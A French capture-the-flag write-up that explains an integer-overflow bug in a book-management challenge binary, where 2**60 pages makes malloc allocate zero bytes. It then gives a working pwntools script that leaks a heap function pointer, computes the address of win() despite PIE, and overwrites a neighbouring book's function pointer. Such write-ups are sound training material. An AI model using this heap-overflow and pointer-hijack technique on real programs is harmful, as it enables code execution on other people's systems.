Fonctionnement
Quand on s’intéresse au programme donné il paraît plutôt safe au niveau des entrées directes (pas de buffer overflow évident) — en tout cas pour mon œil débutant.
On remarque vite qu’on a la capacité d’écrire et de lire les livres, et que chaque livre a des pointeurs vers des fonctions qu’on peut déclencher. On voit aussi une fonction win() qui nous ferait gagner si on arrive à l’exécuter, par exemple en changeant les pointeurs des fonctions read et write.
On aimerait donc que notre capacité d’écriture soit au même endroit que ces pointeurs.
Ces pointeurs sont des attributs de struct Book, qui est allouée avec malloc, donc stockée dans le tas (heap) (en général). Notre capacité d’écriture est dans content, aussi alloué par malloc après la création d’un book.
Si tout est sur le heap, on s’attend à un schéma du genre :
- adresses basses,
- Book 1,
- content de Book 1,
- Book 2,
- etc.
Et sans capacité d’atteindre Book 2 depuis le content de Book 1.
Le bug exploité
Le point clé est ici :
book->pages = n;
book->content = malloc(n * PG_SIZE);
n est un unsigned long 64-bit.
Or en C si un calcul mène à un nombre trop grand (> $2^{64}-1$ ici) il cycle. C’est ce dont on va se servir.
Si on choisit n = 2**60 (mais on pourrait choisir un autre nombre, tant que ce nombre * PG_SIZE donne 0 modulo $2^{64}$), alors :
$$ 2^{60} \times 128 = 2^{67} $$
Donc ce produit cycle en modulo $2^{64}$ et devient 0 dans un unsigned long 64-bit.
Résultat : on fait un malloc(0).
Or book->pages reste bien à 2**60 (car 2**60 < 2**64, donc pas d’overflow à cet endroit - mais il faut bien rester sous 2**64).
Finalement on gagne exactement ce qu’on veut :
- une zone
contentperçue de taille 0 mais en réalité à laquelle on a accès sur une très grande plage d’adresses (carpagesest énorme), - donc des accès
content + (page-1)*128qui peuvent sortir de la zone réellement allouée et aller écraser les pointeurs de fonctions.
Finalement la résolution est :
- Créer Book1 avec
pages = 2**60. - Créer Book2 avec
pages = pas important. - Revenir sur Book1.
- Lire la page 1 pour leak l’adresse
read_pageouwrite_pagede Book2. - Calculer
addr_win = addr_read_leak + (win - read_page). - Écrire sur Book1, page 1, payload de la forme :
- padding jusqu’à
book2->read(ici c’est 32 bytes), - puis
addr_win(attention à l’endianess).
- padding jusqu’à
- Ouvrir Book2 et appeler
read. readpointe maintenant verswin→ flag.
Récupérer l’adresse de win
- Le binaire est PIE, donc les adresses absolues changent à chaque run ; le delta entre symboles reste constant par contre -> récupérer le delta entre
read_pageetwinen local pour calculer l’adresse dewinà partir du leak deread_pageà distance.
Code d’exploitation :
from pwn import remote
import os
import json
import re
import pwn
#16 caractères en hex puis 4242424242424242 (pour le titre BBBBBBBB)
regex_write_ptr = r"[0-9a-f]{16}4242424242424242"
HOST = "localhost"
PORT = 4000
NUMBER_OF_PAGES = 2**60
if __name__ == "__main__":
io = remote(HOST, PORT, typ="tcp", timeout=2)
io.sendlineafter(b'Quitter', b'1')
io.sendlineafter(b'titre', b'AAAAAAAA')
io.sendlineafter(b'pages ?', str(NUMBER_OF_PAGES).encode())
io.sendlineafter(b'Quitter', b'1')
io.sendlineafter(b'titre', b'BBBBBBBB')
io.sendlineafter(b'pages ?', str(1).encode())
io.sendlineafter(b'Quitter', b'2')
io.sendlineafter(b'livre ?', b'0')
io.sendlineafter(b'Quitter', b'4')
data = io.recvuntil('ouvert')
print(f"Data reçue: {data}")
matches = re.search(regex_write_ptr, data.hex())
# data.group(0) contient: write_ptr (16 hex) + "4242424242424242" (16 hex)
# On enlève les 16 derniers chars (le titre) pour garder write_ptr
target_write_inverted = matches.group(0)[:-16]
# valider l'affichage et qu'on récupère bien une adresse
target_write = bytes.fromhex(target_write_inverted)[::-1].hex()
print(f"Adresse de write_page() leakée: 0x{target_write}")
# La différence entre l'adresse leakée et l'adresse de win() est constante, on peut la calculer à partir de l'exécutable local
delta_write_win = pwn.ELF('./book-writer-easy').sym['win'] - pwn.ELF('./book-writer-easy').sym['write_page']
print(f"Delta entre write_page() et win(): {delta_write_win} bytes")
# Calcul de l'adresse de win() à partir de l'adresse leakée de write_page()
target_win = int(target_write, 16) + delta_write_win
print(f"Adresse de win() calculée: 0x{target_win:x}")
target_win_little_endian = bytes.fromhex(f"{target_win:016x}")[::-1]
print(f"Adresse de win() en little endian: {target_win_little_endian.hex()}")
io.sendlineafter(b'Quitter', b'3')
payload = b'a'*40 + target_win_little_endian + b'Newname' # Mettre 32 si on veut écraser read_page, 40 pour write_page, et on peut même écraser le titre suivant si on veut
print(f"Payload envoyé: {payload}")
io.sendline(payload)
io.sendlineafter(b'Quitter', b'2')
io.sendlineafter(b'livre ?', b'1') # On bascule sur Book2
io.sendlineafter(b'Quitter', b'3')
io.sendlineafter(b'crire ?', b'') # write_page() attend une entrée, on peut lui envoyer une ligne vide
data = io.recvall(timeout=1)
print(f"Data finale reçue: {data}") # Flag !